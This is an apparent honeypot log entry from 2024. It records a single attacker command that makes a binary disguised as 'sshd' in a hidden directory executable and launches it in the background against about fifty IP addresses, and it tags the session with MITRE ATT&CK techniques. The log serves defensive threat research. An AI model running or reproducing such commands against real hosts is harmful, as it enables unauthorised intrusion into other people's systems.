Honeypot attack session (period 2024), commands issued:
chmod +x ./.8212855654043373242/sshd;nohup ./.8212855654043373242/sshd 131.153.225.187 113.104.23.62 91.225.217.50 45.192.77.218 183.131.22.188 45.192.77.184 221.181.168.32 1.180.199.188 216.181.107.48 59.38.100.77 125.122.27.208 124.118.249.114 45.192.77.250 45.192.77.227 222.77.96.62 194.233.83.59 208.65.84.175 45.192.77.209 112.16.228.85 39.152.235.158 222.186.3.91 45.192.73.204 115.239.255.13 45.192.77.221 45.192.73.165 198.44.170.107 37.58.18.181 112.91.138.229 213.136.86.113 45.192.73.199 35.229.245.83 183.224.226.82 45.192.69.233 45.192.65.211 183.131.22.164 45.192.73.238 45.192.65.185 208.87.240.45 111.74.23.213 47.236.64.91 65.2.34.90 211.154.194.21 45.192.65.156 103.149.53.120 45.192.69.227 191.252.204.41 5.42.73.122 223.241.244.28 111.20.120.70 45.192.65.206 95.164.33.119 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter